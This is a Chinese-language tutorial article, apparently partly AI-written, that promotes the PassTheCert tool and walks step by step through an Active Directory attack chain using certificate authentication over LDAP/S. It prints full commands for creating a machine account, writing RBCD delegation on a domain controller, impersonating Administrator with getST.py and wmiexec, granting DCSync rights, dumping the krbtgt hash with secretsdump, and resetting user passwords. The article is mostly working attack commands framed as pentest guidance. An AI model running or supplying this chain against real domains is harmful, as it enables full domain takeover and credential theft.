PassTheCert核心功能揭秘:RBCD攻击与权限提升的实战技巧
【免费下载链接】PassTheCertProof-of-Concept tool to authenticate to an LDAP/S server with a certificate through Schannel项目地址: https://gitcode.com/gh_mirrors/pa/PassTheCert
PassTheCert是一款强大的开源工具,专注于通过Schannel协议使用证书对LDAP/S服务器进行身份验证,从而实现RBCD攻击与权限提升等高级渗透测试操作。无论是C#版本还是Python版本,都为安全研究人员和渗透测试工程师提供了便捷的功能实现。
一、PassTheCert工具简介 🛠️
PassTheCert支持通过证书认证方式与LDAP/S服务器交互,主要应用于Active Directory环境下的权限操作。工具提供C#和Python两种实现版本,满足不同场景需求:
- C#版本:通过Visual Studio构建,提供命令行界面,支持添加计算机账户、修改权限等多种攻击类型
- Python版本:基于Impacket库开发,支持LDAP证书认证,集成了RBCD攻击、用户权限管理等功能
核心功能概览
| 功能类别 | 主要操作 |
|---|---|
| 计算机管理 | 添加/删除计算机账户、修改计算机密码 |
| 用户管理 | 重置用户密码、授予DCSync权限 |
| RBCD攻击 | 读取/写入/清除msDS-AllowedToActOnBehalfOfOtherIdentity属性 |
| 杂项功能 | 交互式LDAP shell、查询当前认证用户 |
二、RBCD攻击详解与实战演示 🔍
RBCD攻击原理
基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是一种高级权限委派技术,攻击者通过修改目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity属性,实现对目标服务的权限控制。PassTheCert提供了完整的RBCD攻击链支持:
- 利用证书认证获取LDAP/S服务器访问权限
- 修改目标计算机的委派属性
- 使用Impacket等工具进行权限利用
实战操作步骤
1. 添加攻击用计算机账户
C:\> .\PassTheCert.exe --server srv-ad.contoso.com --cert-path Z:\stormtroopers.pfx --add-computer --computer-name DESKTOP-1337$ --computer-password "P@ssword01" Success此命令将创建一个新的计算机账户,用于后续RBCD攻击。Python版本对应命令:
$ python3 passthecert.py -action add_computer -crt user.crt -key user.key -domain offsec.local -dc-ip 10.0.0.1 -computer-name OFFSECMACHINE$ -computer-pass SheSellsSeaShellsOnTheSeaShore2. 配置RBCD权限
C:\> .\PassTheCert.exe --server srv-ad.contoso.com --cert-path Z:\srv-ad.pfx --rbcd --target "CN=SRV-AD,OU=Domain Controllers,DC=contoso,DC=com" --sid S-1-5-21-863927164-4106933278-53377030-3131 Success该操作将指定SID添加到目标计算机的委派属性中,允许攻击计算机以目标计算机身份进行操作。
3. 利用RBCD获取访问权限
完成权限配置后,可使用Impacket的getST.py工具获取服务票据:
$ getST.py -spn "cifs/srv-ad.contoso.com" -impersonate Administrateur "contoso.com/desktop-1337$:$PASSWORD" $ export KRB5CCNAME=Administrateur.ccache $ wmiexec.py -k -no-pass contoso.com/Administrateur@srv-ad.contoso.com三、权限提升技巧与案例分析 🚀
DCSync权限获取
PassTheCert支持通过--elevate参数为指定用户授予DCSync权限,实现域内哈希同步:
C:\> .\PassTheCert.exe --server srv-ad.contoso.com --cert-path Z:\exchange_server.pfx --elevate --target "DC=contoso,DC=com" --sid S-1-5-21-863927164-4106933278-53377030-2627 Success授予权限后,使用secretsdump.py进行哈希dump:
$ secretsdump.py -just-dc-ntlm -just-dc-user krbtgt "contoso.com/stormtroopers:$PASSWORD@srv-ad.contoso.com"用户密码重置
通过--reset-password参数可重置指定用户密码:
C:\> .\PassTheCert.exe --server srv-ad.contoso.com --cert-path Z:\skywalker.pfx --reset-password --target "CN=Stormtroopers,OU=Empire,OU=Utilisateurs,DC=contoso,DC=com" --new-password P@ssword01 SuccessPython版本实现:
$ python3 passthecert.py -action modify_user -crt user.crt -key user.key -domain offsec.local -dc-ip 10.0.0.1 -target user_sam -new-pass四、工具使用注意事项 ⚠️
证书准备:使用Certipy等工具从PFX文件中提取证书和密钥:
$ certipy cert -pfx user.pfx -nokey -out user.crt $ certipy cert -pfx user.pfx -nocert -out user.key权限清理:完成测试后,务必使用
--restore参数恢复原始配置,避免留下安全隐患:C:\> .\PassTheCert.exe --server srv-ad.contoso.com --cert-path Z:\skywalker.pfx --rbcd --target "CN=SRV-AD,OU=Domain Controllers,DC=contoso,DC=com" --restore clear端口选择:支持636端口(LDAPS)和389端口(StartTLS),根据目标环境选择合适的连接方式
五、总结与展望
PassTheCert作为一款专注于证书认证的LDAP/S工具,为RBCD攻击和权限提升提供了便捷的实现方式。无论是安全研究还是渗透测试,都能显著提高工作效率。工具同时提供C#和Python版本,满足不同平台和场景需求。
项目地址:https://gitcode.com/gh_mirrors/pa/PassTheCert
通过合理使用PassTheCert,安全从业者可以更深入地理解Active Directory环境下的权限委派机制,提升对复杂攻击场景的应对能力。
【免费下载链接】PassTheCertProof-of-Concept tool to authenticate to an LDAP/S server with a certificate through Schannel项目地址: https://gitcode.com/gh_mirrors/pa/PassTheCert
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考